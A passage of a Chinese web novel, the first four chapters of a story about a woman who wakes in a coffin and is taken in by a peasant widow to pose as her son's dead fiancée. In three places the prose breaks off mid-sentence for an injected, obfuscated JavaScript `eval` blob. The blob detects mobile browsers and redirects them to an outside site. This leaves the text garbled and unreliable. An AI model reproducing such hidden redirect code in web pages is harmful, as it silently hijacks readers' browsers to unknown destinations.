《冒牌夫妻种田养家日常》 1. 求救 “救……” 蔺春来试着发出一点声音。可,喉咙好似被砂纸磨过一样,火辣辣的疼。声带好像动了一下,气流从嘴巴里喷出,到最后,却也只化成一声微弱的,嘶哑的气音。 她不得不闭上了嘴。 因为这一声,她胸口跟着起伏了两下。这一起伏,她感觉,周围的空气好像又变得稀薄了一点。 不行啊。 她告诉自己,不能再大口喘气,也不能再说话了。 可,不求救,又该怎么办? 她现在所处的位置,是一口棺材里。至于她为什么会在棺材里,想起来她就郁闷。 穿越前,她本是一名慢生活博主,日常便是拍摄各种治愈的乡村生活素材,剪辑后发在网上。那天她正在电脑屏幕前看着“看得我尸体暖暖的”的评论会心一笑,不知怎的,就穿到了一具尸体上面。 这具尸体的主人与她同名同姓,也叫蔺春来。 只不过,此蔺春来非彼蔺春来。 同名不同命,这个蔺春来,命运更坎坷一点。穿越时,原主的记忆也同时涌入脑海里,她知晓,原主家就在这附近的蔺家村。 早年间,原主丧母,去岁,原主又丧父。 丧父后,原主家里本还有十亩薄田。可原主孤女一个,又性情怯懦,十亩薄田便被亲叔父惦记了。 前些日子,亲叔父设下毒计,买通人诬陷原主与人有染。 证据“确凿”,原主被族人沉了塘。 未嫁之女与人私通,原该一张席子裹了了事,可蔺家叔父“惋惜”侄女,专门打了“上好”的棺材,又将人“好生”埋葬在了这座荒山。 蔺春来不知道这已经是自己“死”的第几天了,她只知道,再不出去,真的又要死一回了。 幽闭的空间,让她有些恐惧。 她听不见人声。 极致的安静使得她的心跳声格外清晰,她能听到,那声音越来越轻,也越来越缓。 背后硬木硌的她骨头疼,她的手没法完全朝着两边伸展。为了维持体力,她甚至不敢翻身。黑暗好像一头巨兽,随时就要吞噬她。她的鼻子和嘴好像被人捂着,越来越喘不上气。 得活着。 她一声声告诫自己,又努力积攒力气。终于,积攒了一些力气了,她奋力将一只手抬起。 可…… 棺材盖子纹丝不动。 虽然那棺材简薄,可上面盖着土,她已经许多天水米未进,身上的能量好像在一点一点消散。那只伸起的手好似煮烂了的面条,软塌塌垂下。 唔! 她又发出了一声气音。 带着不忿,带着着急。 …… 而此时,棺材外面,恍若另一个天地。虽然也是夜晚,可,夜色并没有完全落下来。朦朦胧胧一星亮光照着山头,也照见了山头摘东西的人。 俞大娘正在摘香椿。 确切的说,她在摘蔺春来坟包旁边的香椿。那里有好几株香椿树,来的路上,她在心里留了记号。 香椿芽丛好摘,只要按着细枝,在枝头轻轻一掐,便能把一丛香椿掐下来。 俞大娘熟练地掐了一把,正要去掐第二把,孰料,平地里突然有一声惊雷落下。伴着那声惊雷,夜色彻底落了下来。 她吓了一跳。 才掐好的香椿便滚落在地地。 顾不得去看天色,她慌忙弯腰去捡。指尖碰到泥巴快,接着碰到碎石子,最后碰到凉飕飕的草叶子。总算碰到香椿了,她一把抓住,连着一并抓下来的草叶子,塞到了勾篮里。 再起身,不敢耽搁,按着余下香椿细枝,便要一口气赶紧掐下来。 正掐着,吱—— 一声奇怪的声音响起。 她身子一顿,下意识支起了耳朵。来时明明看过,山上没有野猪窜过的痕迹,也没有其他野兽的粪便,莫非,是蛇出来了? 身上莫名就起了一身鸡皮疙瘩,她如临大敌,沿着声音传来的方向看去…… 是……坟包里传来的声音? 是。 是从里面传来的声音! 她魂飞魄散,当即也顾不得什么香椿不香椿了的。脑子里只有一个声音,那就是:逃! 跌跌撞撞往外逃,路上摔了好几个跟头,她不敢回头,一口气跑出去了好远,直到,实在跑不动了,她才一屁股坐在地上,用沾满了泥土和杂草的手抚摸着心口。 有……有鬼? 是她摘了人家坟旁边的香椿,得罪了人家。 “姜公在此,百无禁忌。莫怪莫怪。” 连忙双手抬起来,作了好几个揖。 又缓了一阵,待腿脚有些力气了,她起身,准备往下一个山头去。可,才抬了脚,突然想起来,“坏了,勾篮忘了拿!” 勾篮里可有不少好东西,她特意没有走水路而是走了山路,便是为了这个。可勾篮……勾篮还在坟包旁边。 怎么办呢? 她有些为难。 心中天人交战半天,最终还是没能敌过贪念,她边作揖边念叨着姜太公的名字,悄悄走了回去。 * 蔺春来初次尝试推开棺材盖子失败后,便没敢再做尝试。她没有什么力气,抬一回手,几乎又要去了她剩下半条命。 她躺在棺材里,努力积攒下一次的力气。左手突然摸到一块硬木片,她紧紧攥住,没急着立刻抬起手。 等到力气积攒的差不多了,她抬手,用那块硬木片去撬棺材口和棺盖接触的地方。 没有用。 还是没有用。 她的手,再一次软软的垂下。 这一次的用力,又耗尽了她的能量。她喘着粗气,意识渐渐涣散。 突然,棺材里出现了一星亮光。 她有些高兴。 旋即又反应过来,怎么会有亮光呢? 是她要死了。 不,她不能死。 求生的意念催促着她,让她保持清醒。她眼皮子闭上,又努力睁开,突然,她听到了噼里啪啦的声音。 又是幻觉吧。 她闭上了眼。 可那声音越发清晰,就像是……就像是响在耳边一样。 她睁开了眼睛,凝神细听,声音是从棺材上方传来的。是雨,外面下雨了! 可她怎么会听到雨声呢? 莫非,是雨把棺材上面的土冲下去了?那么,只要她能把棺材盖子推开,就有救了。 一股莫大的狂喜袭击了她,她迸发出求生的意志来。这一次,攥紧了那根硬木片,攒起了全部的劲儿,半支起身子,推着棺材盖子往外。 棺材盖子松动了一下。 她能听到更清晰的雨声,身子即将软塌塌落下去,她告诉自己,最后一步了。两只手全部托在棺材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480763|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖子下,她奋力一搏,终于,盖子往外又滑开了一个口子。 霎时间,雨水落进来。 她靠在棺材壁上,借着棺材支起身子,先是大口大口呼吸着外头新鲜的空气,接着,张开嘴贪婪地接着瓢泼的雨。那雨还带着冷意,灌进她嘴里,她甚至来不及吞咽。 “鬼啊!” 忽有人声响起。 她顾不得转头去看,咽下嘴里雨水,这才透过雨幕间隙,看到不远处,有一个人。 似是一位妇人。 妇人摔了一个大跟头,正努力从地上爬起来。可大约,下了雨,地上滑,又或者,她看到棺材里冒出一个人,心里害怕,以至于她爬起来,刚站好,又摔了下去。 “救……” 蔺春来试图开口与她搭话。 可,纵然有雨水的浸润,嗓子眼还是火辣辣的疼。她缓了一下,见那位妇人像是想跑,忙道:“我是人,不是鬼。” 妇人好像没听到。 她不得不又说了一遍:“我是人,不是鬼。” “你……” 俞大娘正准备二次逃命,忽然听到,那“鬼”张嘴说话了。鬼怎么会说人话呢?她心中害怕,立刻就想跪下来磕头认错。 可,突然又听到那鬼说,自己不是鬼,磕头的动作就停住了。 “你……你……你真是……是人?” “我是人。” 蔺春来哑着嗓子再次强调。 俞大娘心里突突的,不过,好像没刚才那么怕了。她悄悄把脚往前探,试图把刚才摔跤时洒落的东西捡回来。勾篮里有一只最值钱的鸡,就在女鬼旁边。 小心摸索到那女鬼旁边,用脚勾着那只鸡,勾到了自己旁边。颤抖着手将鸡捡回来,她转过身,便准备赶紧开溜。 “救救我。” 女鬼却说话了。 谁敢救你啊? 俞大娘心中嘀咕,鬼使神差的,却扭过头看了女鬼一眼。 这一眼,她愣住了。 这位……姑且说她是人吧。毕竟,如果真是鬼,怎么可能这么多废话。这位“人”,竟是个年轻的小娘子。可这么年轻的小娘子,怎么没死却被当成死了?棺材,穷苦人家可用不起,这小娘子家里,倒是个有钱的。 话说回来,如果她救了她,是不是能换点好处? 好处两个字一冒出来,俞大娘脚底下就迈不开步了。 她盯着蔺春来看了好一会儿,最终开了口:“我能救你,但你得给我点好处。” 蔺春来没吱声。 她在心里苦笑,她哪里有什么好处。亲爹亲娘早没了,屋舍土地也没了,只有一个豺狼叔父。棺材里也没有任何值钱的东西,她拿什么换给人家? 可,若说自己没有好处,眼前这位妇人,怕是不会救自己了。 “我答应你。” 她撒了谎。 先活下来,活下来比什么都重要。虽然她现在没有好处,可,日后若能安定下来,必挣来好处,双倍还给这位妇人。 “那就说好了,我救下你,你给我好处。” 俞大娘见她应了,又强调了一遍好处。之后将她从棺材里抱出来,一边抱,一边还不忘刺探:“你是哪里人?俞家厍的,杨家泾的,还是刘湾的?怎么被家里人误埋在这里?天可怜见,还好你遇着了我,也算,老天爷要给你一条活路。你家里人……诶?” 2. 约定 蔺春来没有回应。 俞大娘低头一看,才发现她压根没有力气开口。不独没法开口,就连身子,也在一个劲儿往下坠。 她忙掩了声,把人搂紧了些。几乎是连拉带抱,把人放在了一颗大树的树根下。树根下并不避风,但眼下,暂时顾不得这么多。 等人放好后,犹豫了一下,她又从勾篮里拿出了一块麦芽糖。意识到蔺春来手上没有力气,她倒也没急着把麦芽糖递过来。 转过身,找了一块石头,她将麦芽糖先砸碎,之后捏着渣滓,递到了蔺春来嘴边。 蔺春来下意识张口。 等一整块麦芽糖吃完,不知是何时了。俞大娘见刚才石头砸过的地方还有些渣滓,没敢浪费,一只手并拢接着,另一只手轻轻拂着。等渣滓都拂在手上了,轻轻吹了吹,全部送进了自个嘴里。 “你是哪里人?” 吃完了,又老话重提,问起了和刚才一样的问题。 蔺春来已经恢复了些力气,道:“蔺家村的。” “蔺家村啊。” 俞大娘了然,就在这附近。 不过,“你怎会被家里人误埋在这里?是遇到庸医,误诊了吗?你家里人也太草率了,应该多找几个郎中看一看的。” 蔺春来不答。 俞大娘没多想,以为她又没力气了,便再次掩住话题,不出声了。 又等了一会儿,雨停了。 “我们走吧。” 俞大娘立刻就想下山,她问:“你家在蔺家村哪里?村东还是村西?你叫什么名字?家里人又叫什么名字?” 又说:“一会我送你回去,你可得说话算话。我也不讹你,你给我钱,我要。给我鸡啊鸭啊,我也认。你们蔺家村多蔺草,再不济,给我草席或者蒲团,也行。” 蔺春来还是没吱声。 俞大娘没注意到她的异样,依然喋喋不休:“虽然天黑着,可现在走,正是时候。要是等到天亮了再回去,怕是要吓死一村人。你跟我说说,去你们村怎么走,我对你们这里不熟。” “你……咋不动?” 俞大娘心中狐疑,她都已经说了不认路了,这小娘子,怎么还没动静?嗓子眼发不出声音也就算了,怎么手也动不了了。 “你……不会不想给我好处吧?” 心里头突然有个不好的猜测,她径直问了出来。 蔺春来这次出声了,她说:“我家里没人了。” “啥意思?” 俞大娘有点没听明白,“那好处呢?” “我也没有家了。” “啥?你没有家,可你下葬时不是还有棺材吗?” “棺材是村里人买的。” “你和村里人有交情?” “没有,只是不想我下葬时太难看。” “你……” 俞大娘如遭雷击,总算明白过来了,什么好处,都是假的!没家也没家人吗,还有屁的个好处。这小娘子,刚才故意骗她救她呢! “你骗我。” 说到骗,更是气不打一处来。干脆气呼呼背上地上勾篮,扭头往一旁走。 “雨已经停了,你也缓过来了。救都救了,总不能再塞回去,就当给自己积德了。你们村就在这附近,你自己想办法吧。” …… 下过雨的山路,并不好走。虽然雨只下了一场,可,不是这里滑溜溜的,就是那里积了水。俞大娘怀着一肚子怨气往前走,一边走一边不忘抱怨:“今朝没看黄历,处处触霉头。竹篮打水一场空,新媳妇新媳妇,没带回来。好处好处,半点没捞着,最后还折进去一颗糖!” “哎哟!” 脚下忽有藤蔓绊了她一下,她一个踉跄,下意识去抓一旁的树枝,结果没抓住,摔在了地上。 “日头碰鬼了,倒了十跟头!” 坐在地上越想越气,干脆狠狠拍了拍身侧的草地,怒道:“触霉头!触霉头!” “唉——” 良久,她叹息一声。摸了摸勾篮里的东西还在,方把心放回肚子里。 人怎么可以倒霉成这样呢? 俞大娘坐在地上想,那胡喜君怎么说死就死了呢。明明七年前,说定亲事的时候,她上门见到人,人还是好好的。怎么临到要把人带回来,人就死了呢? 人死了,长庚可怎么办?冯家,又该怎么办? “短命鬼,人家都能死而复生,你怎么就不能……” 正自顾自念叨着,忽然,话音一顿。 蔺家娘子,无父无母。年龄与胡喜君,似是相仿。 胡喜君。 蔺娘子。 一个大胆的想法呼之欲出,她忍不住站起来了。 * 却说,蔺春来被俞大娘撂下,知晓求救无望后,便打算自救。可山野之间,人生地不熟,又是晚上,刚下过雨,她虽吃了一块麦芽糖,却也只是比刚从棺材里爬出来时好了一点。 若要就这么下山,只怕还没走几步,她就要摔个大跟头。 怎么办呢? 她安慰自己,至少现在没下雨。那位妇人敢在山野里穿行,说明,这山野里大概率没有野兽。只要捱到明天,天亮了,温度起来了,她也能找到吃的喝的,就能下山了。 不敢再乱动,她靠在刚才的树干上,闭目养神起来。 可,夜色更深,水汽更重。方才下过雨,身上的寿衣已经淋湿了。这会她浑身都冷,忍不住抱着自己,瑟瑟发抖起来。 时间一点点过去,她能感觉到,自己身上最后一点能量好像也在慢慢消散。 不行啊。 不能就这样死啊。 意识快要涣散的时候,她听到了一个声音。 是刚才那位妇人的。 “你今年多少岁?可曾嫁过人,许过人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480764|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家?” 许是没听到她回答,以为她没听到,妇人又重复了一遍:“你今年多少岁?可曾嫁过人,许过人家?” “喔唷,怎么短短功夫就成了这样?” 迟迟没听到回应,俞大娘往前去了一步,这才发现不对劲。她忙将蔺春来扶住,咬咬牙,从勾篮里拿出了一块糕团。 盯着糕团看了很久,她一狠心,一点点掰开,送到了蔺春来嘴边。 蔺春来还是和那会一样,下意识张口。 大概小半个时辰,那块糕团吃完了。 俞大娘将手心残渣倒进自己嘴里,等咽下去了,方问:“能说话吗?” 蔺春来点头。 “你是蔺家村的,你姓蔺?” 蔺春来又点头。 “你今年多少岁?许过人家没有?说实话,要是不说的话,我立马就走。” “十七。” 蔺春来缓了一下,循着记忆回答,之后又摇头,“没有许过人家。” “那,你是怎么死的?” “掉进池塘里,淹死的。” “家里当真再没别人了?” “没有。” 那就好。 俞大娘心底里最后一点担忧也没了,她也不饶弯子,直言:“我可以救你,但,我有一个条件。” 顿了一下。 “做我的儿媳妇。只要你答应做我的儿媳妇,我就救你,带你下山。” 蔺春来心中震惊。 她没想到,是这样一个条件。 天下果然没有白吃的午饭,要想获得什么,必须要付出一定的代价。可,做儿媳妇,代价未免有些太大。 她有些抵触,可,此时此刻,哪里还有得选? 若说不愿意,那便只能等死。可若说愿意…… 她在心里天人交战。 俞大娘见她沉默,道:“你放心,长庚可不是什么瞎眼瘸腿的傻子,他胳膊腿都健全,眼睛也好得很。只是,人一直在外面戍边,暂时回不来。” “你给我个准话,到底愿意还是不愿意。愿意的话,现在就改口。不愿意,我马上走。” “愿意。” 蔺春来给出了答复。 “是个聪明的。” 俞大娘难得露出了这些日子以来的第一个笑。 笑完,才想起来忘了问:“你该没什么病什么灾吧?” 要是有,那也不能成。毕竟谁家想给自家找个累赘呢。 “没有。” 蔺春来摇头。 她便笑着放下勾篮,交代:“还有一样,得先说好。人死籍消,以后,你得改名,叫胡喜君。不管谁问,你就说你叫胡喜君,是山那头桃源镇的。” “好。” 蔺春来爽快应了,可心中却有些奇怪。 新名字似乎来得有些快,就好像,这个名字是现实存在的一样。 3. 冯家 蔺春来既然答应了交易,俞大娘便想着,得先把坟头遮掩干净。蔺春来动不了,她便自个上阵,用拿来探路的树枝将那些冲散的土重新刨回去。 一番忙碌,坟头总算又恢复了原来的样子。虽然不是和原来一模一样,可下过雨,之后上面再长点草,就算有人来,也不会起疑。 树根下不能久待,夜里风大,吹得人骨头缝好似被针扎一样。俞大娘忙完坟头的事,身上已经有了些汗意,她也不敢脱,想着蔺春来身上寿衣还是湿的,从勾篮里拿出了一件来时备着的夹袄,递了过去。 蔺春来接过。 却也不急着换。 她跟在俞大娘后面,俞大娘就像是对这座山很熟悉一样,轻车熟路走到一处石壁下。顺着石壁往前,到一个断头路,猛地再往左一拐,便见一个狭小的只能容一个人通过的山洞。 俞大娘拿手里树枝在洞口敲了敲,没见里头有动静,又捡起两块石头,扔了进去。 洞里还是没有动静。 她便放心钻了进去。 蔺春来紧随其后,等进去后,风声好像霎时间被隔绝在另一方天地,两个人再说起话,声音都比方才清晰了许多。 “等寿衣换下,莫要乱扔,给我吧,我拿回去,添把柴火。” 俞大娘指明了寿衣的去处。 蔺春来并无异议,寿衣这东西,穿在活人身上不是,丢在山上,也不是。毕竟,没人知道她已经从棺材里爬出来了,寿衣若就这么随手一丢,不说会不会吓死人,就说,少不得之后惹出事端来。?以防万一,还是带回去销毁的好。 她应了,俞大娘便放心出去找干草和树枝。可惜,刚下过一场暴雨,外头的草和树枝都是湿的。 她无功而返,不得不拿出篮子里的油布,铺在了地上。 两个人没敢真的躺在油布上,只拿油布当个垫腿的,双双闭眼靠在石壁上,也没敢真的睡死。 就这么熬到东方泛起鱼肚白,洞口有光线透了过来。俞大娘先醒来,靠在石壁上缓了一会儿,方起了身。 两个人一起出洞,还是和前一天一样,一前一后,俞大娘在前头,蔺春来在后头。 出山洞不久,俞大娘又在林子里找了一根树枝,树枝是Y字型的,开口的那头,正好能撑在腋下,作为拐杖用。单独的那头,能当拐杖用,也能拿来探路。 这根树枝,毫无疑问,是给蔺春来的。 蔺春来拿着,路上果然省力多了。两个人默默往前走,到路宽的地方,也会并排。 “我一个人走得快,两个人,路上要慢点,怕是还得两天,得明晚才能到了。” 俞大娘大概说了下几时到。 蔺春来记下,心里倒是盼着,时间能过得快一点,再快一点。 走路实在不是一件美妙的事,山路难走,俞大娘走的,大部分又都是野路。春天万物疯长,一场雨后,草木更显幽深。遇到低矮的树木还好,遇到高大一点的荆棘丛,就有些麻烦。 俞大娘一边拨开那些枝桠,一边没忍住抱怨:“这些枝啊草啊的,伸得也太长了,差点迷了我的眼,走错了路。” …… 好不容易走到一处开阔处,两个人停下来休息。蔺春来找了一块稍微干爽的石头,坐下来,喘了好一会儿气。 她口渴的很,也实在,乏的很。 俞大娘的勾篮里,已经没水了。倘若想喝水,得自己想办法。 山野之间,溪水清澈,不得已时没那么多讲究,也不是不能拿来喝。只是,眼下,找溪水,得费些功夫,她没有那么多劲了。 昨天天上掉下的雨水,倒是能喝。虽说今天天放晴,太阳出来了,可,好些树叶上,积雨还没被蒸发。 便坐在原处观察了一番。 瞅准一个目标,她起了身。 那是一株八角莲,八角莲的叶片十分宽大,中间正好有凹槽,能存住水。不过这东西根茎有毒,叶片不能吃。 得小心些。 她走到八角莲跟前,果然看到,叶片里头兜着一大捧雨水。 没敢上手将茎折断,她蹲下身子,准备招呼俞大娘过来,可打眼一瞧,俞大娘也起了身,人却不是朝她这头而来,而是,往一边山杜鹃丛去了。 想着,一会再说吧,她便转过头,头微微扬起,一只手轻轻托着叶子下缘,另一只手捧着上缘背面,让嘴正好处在叶片下方。 两只手一托一提,叶片好像被对折了的纸,里头的雨水顺着叶片提起的坡度,流了下来。 一叶片雨水饮尽,喉咙里好似枯木逢春,整个人也神清气爽了不少。 俞大娘已经山杜鹃丛后钻了出来。 她手里多了不少东西,红红的小果子,是三月泡,绿油油长长的,是蕨菜和野葱。 蔺春来同她说,这里有雨水,她放下手里东西,走了过来。 一叶片水喝完,两个人一道回去。 蔺春来这时候才瞧见,那勾篮里都是什么。 除了刚才采的蕨菜和野葱,还有文文头,水芹菜,香椿。野菜下面,好像是糕团。糕团下面,像是一只鸡,再往下,便看不清楚了。 她收回视线,没当回事。 是夜,还是和前一晚一样,两个人找了个落脚处,歇息了一晚。 第二天,天不亮,两个人就往下一座山头走。路上,俞大娘还是没歇着,见着什么能采的野菜,便采下来塞进自个勾篮里。 到黄昏时,她的勾篮里已经满满当当,再塞不下了。 “我们家就在这座山山脚下,现在时辰还早,天光还亮着。再等会,等天黑了,咱们再下去。” 到冯家附近,比预想中时间要早,俞大娘却不急着下去。 蔺春来虽心中不解,却也只能照做。 两个人又等了一会儿,等到日头一整个坠下地平线,夜色慢慢席卷过来,方小心翼翼往山下走。 这次的路,比之前的好走的多,兴许是有人时常上山,山上有专供人走的路。说是小心翼翼,其实,是因为俞大娘实在紧张了些。 她就好像做贼一样,声音放得很轻,整个人耳朵也竖着。听到山上有动静,就赶紧猫下身子。 就这么慢悠悠,一点一点挪到了山下。 蔺春来感觉到自己站在平地上了,顾不得透过夜色打量周围,就被俞大娘拉着,往前去了。走了没几步,隐隐约约能看到,前方有几户人家。 “到了。” 俞大娘声音还是压得很低。 她没立刻上前,而是在一旁树木后观察了一会儿,见四下里皆静悄悄的,没有人影浮动,方放心走上前去。 停在最近的一户人家门口,她将手虚虚地拢在嘴上,学野鸭子一般,叫了几声。 门里好像有动静。 “谁?” 一个听起来年龄不大的小姑娘隔着门发问,听声音,明显有些紧张。 “是我。” 俞大娘小声回了一句。 里头小姑娘松了一口气,两下将门闩放下,又打开了门。 “后头的,是嫂嫂吗?” 小姑娘隔着夜色,模模糊糊瞧见,自家娘后面跟了一个人。知晓自家娘这趟意图,便下意识猜到,多出来的,是嫂嫂。 “是。” 俞大娘快速回了一句,没多说的意思。 小姑娘没好再说,将门闩重新闩上,又去灶房里摸黑倒了两碗水。 蔺春来初来乍到,自然跟在俞大娘后面,她能感觉到,俞大娘带着她进了一间屋子,那间屋子,像是睡人的屋子。 俞大娘对这屋子熟悉,那么大概率,是她自个的屋子。 她站在屋子大概是床边的位置,没好说话,也没好做些什么。夜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480765|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太黑,乡下人家,舍不得点灯,她什么也瞧不见。 但她知道,刚才的小姑娘,是冯家的幼女,如今九岁的冯五月。 这两天在山上,闲暇时她也和俞大娘打探了。俞大娘倒没藏着掖着,只告诉她,早年间,早年间,她先没了长子,后来,又守了寡。守寡后,膝下就只剩次子冯长庚和幼女冯五月。 冯长庚,也就是她的夫婿,十四岁便被朝廷拉去戍边,至今七年,只回来过一次。下次回来,还不知是什么时候。 戍边之前,冯家曾为冯长庚定下一门亲事,说的便是山那头桃源镇的一位娘子,名叫胡喜君。 冯胡两家本来说好,等冯长庚回来,便过门成亲。哪成想,冯长庚一去不回,回来的那次,稍作停留又走了。 眼看着时间一天天过,翻年,胡喜君就十八了,胡家递信,让冯家把人带回来。 俞大娘便去桃源镇领人。 结果不巧,胡喜君突发恶疾,说死就死了。 俞大娘孤身归来,心里憋着一口气,正巧,就遇到了从棺材里爬出来的她。之后……一切水到渠成,她成了胡喜君,年龄也和胡喜君一样,从十七添大一岁,变成十八了。 …… 很快,冯五月将水端了过来。俞大娘接过,先端起来,咕咚咕咚两口灌完了,顾不得去擦嘴边的水渍,她道:“五月,领你嫂嫂去你哥哥屋里。” 冯五月应了一声。 蔺春来忙端着那只水碗,仰头喝了好几大口。还没来得及擦掉嘴边水渍,就见,眼前模模糊糊有人影子动了。 她忙跟上。 先是出了屋,再往左边一拐,走上没几步,又停在另一间屋前。 冯五月推开了门,领着她去了床边,“嫂嫂,你能摸到床吗?床上的东西,都是洗过的。昨天今天,太阳好,我又拿出来晒了两遍。” “能摸到。” 蔺春来忙回,她对这句嫂嫂有些陌生,也能听出来,小姑娘同她说话时,明显有些不好意思。不过,好在天黑,谁也看不清谁的脸,她脸上微微一点不自在,很快就被自己按下去了。 “我出去打水。” 冯五月说完这句,又出去了。不多时,又端了一盆温热的水进来。 这盆水是用来洗漱的。 蔺春来连忙跟她道谢。 她却好像更难为情了,手好似在空中着急摆了两下,声音也很急促:“不用谢的,不用谢的。” 洗完脸,蔺春来见她等着,虽心有疑惑,却没张口问。 等又洗完脚,她才知道,对方为何一直等在这里。 原来是在等她彻底洗簌完后,把用剩了的水带出去。 被人伺候着洗漱,对方还是个小孩子,她有些不好意思。想自个上手吧,可,黑灯瞎火的,她也摸不清方位,便只能由着冯五月把水带出去。 出去时,冯五月还一并带上了门。略等了一会儿,外头没动静了,蔺春来这才放了心,摸索着将门闩闩上,又摸到床,脱了鞋,轻轻躺了上去。 床微微往下一沉,硬木板做的床,稍有动静,就会发出嘎吱嘎吱的响声。手心摸到了一把干稻草,那稻草,蓬松的很,显然,也是晒过的。 蔺春来又往下躺。 头刚落在枕头上,枕头便跟着往下一陷。那些被粗布裹着的谷壳便分散着往头两边跑去。 她盖上了被子。 被子也和夹袄一样,里面装的应该是杨花柳絮一类的东西。冯五月说,晒了两个日头,此时被子暖乎乎的,浆洗过的布有些发硬,鼻尖触在上头,还能闻到皂角的味道。 真好啊。 蔺春来将手放在肚子上,心里是从来没有过的安宁。 她总算躺在床上了,背后的踏实让她神情也忍不住放松了下来。她轻轻闭上眼,耳畔传来隔壁屋里,俞大娘和冯五月说话的声音。 4. 嘲讽 俞大娘也没说什么,左右不过是问了几句,这几天她不在,冯五月在家里如何如何。冯五月一一答了,又顺嘴问了去桃源镇的事。 俞大娘好像不想多说,含糊着,就把话题绕过去了。 蔺春来听了一耳朵,等隔壁彻底没声音了,两边眼皮子开始打架。她放任自己睡过去,事实上,也确实没用多久,她就睡着了。 一夜无事发生。 早起俞大娘先去灶房里,把那件已经阴干的寿衣扔到了灶膛里。等衣裳全部化成灰烬,她这才放了心,眼瞅着冯五月也起来了,招呼她,去把蔺春来喊起来。 冯五月照办。 不一会儿,她就着急忙慌跑过来,“娘,不好了,嫂嫂屋里没动静,我叫了好几声,都没人应!” “今朝交上魔窟运,难不成又被……” 俞大娘几乎是一个箭步就冲了出去。 她停在蔺春来屋子前,用力一推,里头的门闩就落下了。顾不上松口气,她快步走到床跟前,低头一看,蔺春来额头滚烫,一张脸更是红的赛过了猴屁股。 这是,发烧了? 伸手在蔺春来额头上探了探,果然,温度高得很。 “五月,你在家里守着,我去镇上找郎中开两服药。” 请郎中来家里,可要不得,她当机立断,决定去镇上找郎中开两服退烧药。 …… 从村里到镇上,少说也要个把时辰,这一来一回,便到了晌午。 却说隔壁徐家,徐家二房媳妇王淑云正赶着吃了石子的鸡回去。有两只鸡不听使唤,停在门外头没动,王淑云拿着一根柳树枝,作势要往那两只鸡身上抽。 正“抽”着,眼角余光瞥见俞大娘急匆匆从西边小路回来,手里头,还提着两服药。 “俞……” 王淑云张嘴便想搭话。 可,一个俞字才出口,俞大娘已经一脚迈入了自家院子里,顺势,还关上了门。 “我呸!” 王淑云心中有些不虞,想到那两服药,心里头又嘀咕。这五月昨天还见着的,是好好的,俞大娘刚才也好好的。好好的,买药干啥? 难不成,是给长庚媳妇的?那小媳妇接回来了,人还是个病秧子? 一想到病秧子,顿觉发现了什么了不起的事,正好大房媳妇祝皎娘从里头出来,王淑云正愁一肚子八卦没处倒呢,便拉过祝皎娘,神神秘秘先卖关子:“大嫂,你猜,我刚才看到了谁?” 祝皎娘摇头。 “喽。” 王淑云也不明说,只嘴巴朝着冯家方向一努,又压低了声音:“手里还拎着两服药呢。” “五月病了?” 祝皎娘有些惊讶。 王淑云撇嘴,“咋可能是五月,那丫头我昨天还看到,好得很。” “那是俞大娘?” 祝皎娘没多想,只想着,不是冯五月,那就只能是俞大娘了。 “是新媳妇!” 王淑云见她死活猜不着,心里在得意的同时又有些着急,她没好气道:“昨晚上,俞大娘肯定偷偷把人带回来了。没想到,这新媳妇还是个病秧子呢。” “许是,冯家来什么亲戚了吧。” 祝皎娘心中更惊讶了,冯家和桃源镇胡家定亲的事,在村里不是秘密。前些日子,胡家叫人来递话,村里也得了消息。 只是,俞大娘出门前没声张,是不是的,她们这些外人,就更不好声张了。 她不接话,王淑云顿觉没意思,回了一句“冯家哪有什么亲戚”,见她笑了一下转过身走了,对着她的背影也悄悄啐了一口。 * 此时蔺春来屋里,冯五月看着迟迟没见醒来的蔺春来,忍不住攥紧了俞大娘的手。 “怕啥?” 俞大娘反手握住她的,心却比吃了黄连还要苦。 真是交上魔窟运了。 俞大娘心里暗叹,这蔺春来,身子骨忒弱了点。昨天回来时,还好好的,她一个老婆子,又是走山路,又是摔来摔去的,结果,还不是一点事都没有。 可这蔺春来哟,又是麦芽糖,又是糕团的。这几天,便吃去了四块糕团,现在,又搭上两服药。 两服药吃完,还不知,是个什么光景。 “咳咳。” 蔺春来突然咳嗽了两声。 俞大娘不得不收回心里的抱怨,见人确实有醒过来的迹象,忙将药端了起来。等蔺春来昏昏沉沉喝下药,人再次睡下,她招呼冯五月,先跟着她出去。 “五月,娘又得去做活了。雪菜藏在床底下,米和麦芽糖也在里面。麦芽糖没事别拿出来,野葱,我也给你们留了点,同样在床底下放着。等过几天,我再拿点藕节回来,要是她们。” 说到她们,话音一顿,“她们问起我或者你嫂嫂,就说,不知道。” “可嫂嫂还在烧着。” 